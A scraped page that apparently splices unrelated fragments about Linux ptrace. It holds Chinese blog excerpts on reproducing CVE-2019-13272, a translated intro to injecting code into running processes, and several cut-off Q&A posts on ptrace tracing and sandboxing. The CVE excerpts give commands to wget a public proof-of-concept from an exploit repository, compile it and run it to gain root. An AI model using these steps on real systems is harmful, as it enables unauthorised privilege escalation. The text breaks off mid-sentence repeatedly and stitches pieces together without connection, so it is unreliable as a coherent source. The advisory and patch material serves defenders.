ptrace

漏洞描述 　　kernel / ptrace.c中的ptrace_link错误地处理了想要创建ptrace关系的进程的凭据记录，这允许本地用户通过利用父子的某些方案来获取root访问权限 进程关系，父进程删除权限并调用execve（可能允许攻击者控制）。 一个影响因素是对象寿命问题（也可能导致恐慌）。 另一个影响因素是将ptrace关系标记为特权，这可以通过（例如）Polkit的pkexec帮助程序与PTRACE_TRACEME进行利用。获取root权限。 影响版本　 　　Linux Kernel < 5.1.17 漏洞复现 　　 测试版本Ubuntu18.04.1 　　1、 漏洞POC下载，防止Home目录下 　　2、对下载好的漏洞POC进行编译,运行编译好的文件 gcc cve-2019-13272.c -o cve-poc ./cve-poc 　　 　　 漏洞修补 　　补丁下载： https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6994eefb0053799d2e07cd140df6c2ea106c41ee 参考： https://www.linuxidc.com/Linux/2019-07/159686.htm 来源：博客园 作者： ladyBird-Z 链接

漏洞描述 在5.1.17之前的Linux内核中，kernel / ptrace.c中的ptrace_link错误地处理了想要创建ptrace关系的进程的凭据记录，这允许本地用户通过利用父子的某些方案来获取root访问权限 进程关系，父进程删除权限并调用execve（可能允许攻击者控制）。 一个影响因素是对象寿命问题（也可能导致恐慌）。 另一个影响因素是将ptrace关系标记为特权，这可以通过（例如）Polkit的pkexec帮助程序与PTRACE_TRACEME进行利用。 注意：在某些环境中，SELinux deny_ptrace可能是一种可用的解决方法。 影响版本 Linux Kernel < 5.1.17 复现 OS: Ubuntu 16.04 Kernel: 4.15.0-47-generic poc地址： https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272　　 下载poc： wget https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c　　 但是ubuntu没装代理的，于是用curl下来，传到ubuntu上 然后编译 gcc -s poc.c -o test 赋予权限

I'm working on a Linux application incorporating ptrace to observe another process which had been created by fork() system call. Strictly speaking: I want to implement a fault injection into forked process (chile process or "tracee"). As you can see in the figure below: the tracer gets the regs (struct_user_regs) structure from the tracee by using PTRACE_GETREGS request. after that, tracer modifies the EIP value of the tracee (when kernel switch into tracee, order execution will be violate so-called control flow error CFE). then PTRAC E_CONT request will send to tracee to continue its

12345 译文声明本文是翻译文章，文章原作者0x00pf，文章来源：0x00sec.org原文地址：https://0x00sec.org/t/linux-infecting-running-processes/1097第一篇翻译的文章，如有不当，那也没有什么办法0.0主要是在工作中遇到了一个需要注入的场景就学习了一下。 前言 我们已经知道了如何向一个二进制文件注入代码让程序在下次执行的时候执行我们的代码，但是如何向一个已在运行的进程中注入代码呢?这篇文章我将介绍如何去操作其它进程内存的一些基本技巧…换句话说，就是教你如何去写一个属于你自己的调试器。 应用场景 在去介绍技术细节之前，让我先来介绍几个需要注入代码到运行中进程的场景。 最初的场景并不是应用在恶意软件，而是应用在内存热补丁上。运行的程序不能被关闭或者重启，或者说关闭或者重启需要很多不必要的花销。所以如何在不关闭进程或者不重启进程的情况下去给程序打补丁和更新是前几年一个比较热门的话题。 另外一个主要的应用场景就是调试器以及逆向工具的开发。例如radare2…通过这篇文章你将学习它们是如何工作的。 显然另外的一个主要原因还是恶意软件的发展，病毒、后门等。我猜大多数的使用者都是这个原因。一个例子，你们很多人都知道meterpreter的进程注入功能，这个功能够让你运行你的payload在一个’无辜’且正在运行的进程中。

I have a program written in C, which opens another program using popen. I 'd like to get the pid of that program or some kind of handler for it, so as to kill it after a certain time limit, or if it exceeds some ram, and stdout limits. I think this must be done with ptrace, which needs the PID, which I don't know how to obtain. Just write your own implementation of popen that returns the PID. It's much less ugly than some crazy hackery around the existing popen . You can find source code to popen implementations all over the net. Here's one . You might also be able to use ulimits and other

I'd like to implement a sandbox by ptrace() ing a process I start and all its children would create (including grandchildren etc.). The ptrace() parent process, i.e. the supervisor. would be a simple C or Python program, and conceptually it would limit filesystem access (based on the path name and the access direction (read or write) and socket access (e.g. disallowing socket creation). What should I pay attention to so that the ptrace() d process and its children (recursively) won't be able to bypass the sandbox? Is there anything special the supervisor should do at fork() time to avoid race

It's the same as this one except that I'm running execl("/bin/ls", "ls", NULL); . The result is obviously wrong as every syscall returns with -38 : [user@ test]# ./test_trace syscall 59 called with rdi(0), rsi(0), rdx(0) syscall 12 returned with -38 syscall 12 called with rdi(0), rsi(0), rdx(140737288485480) syscall 9 returned with -38 syscall 9 called with rdi(0), rsi(4096), rdx(3) syscall 9 returned with -38 syscall 9 called with rdi(0), rsi(4096), rdx(3) syscall 21 returned with -38 syscall 21 called with rdi(233257948048), rsi(4), rdx(233257828696) ... Anyone knows the reason? UPDATE Now

For some security purpose, I use ptrace to get the syscall number, and if it's a dangerous call (like 10 for unlink), I want to cancel this syscall. Here's the source code for the test program del.c . Compile with gcc -o del del.c . #include <stdio.h> #include <stdlib.h> int main() { remove("/root/abc.out"); return 0; } Here's the security manager source code test.c . Compile with gcc -o test test.c . #include <signal.h> #include <syscall.h> #include <sys/ptrace.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #include <errno.h> #include <sys/user.h> #include <sys/reg.h>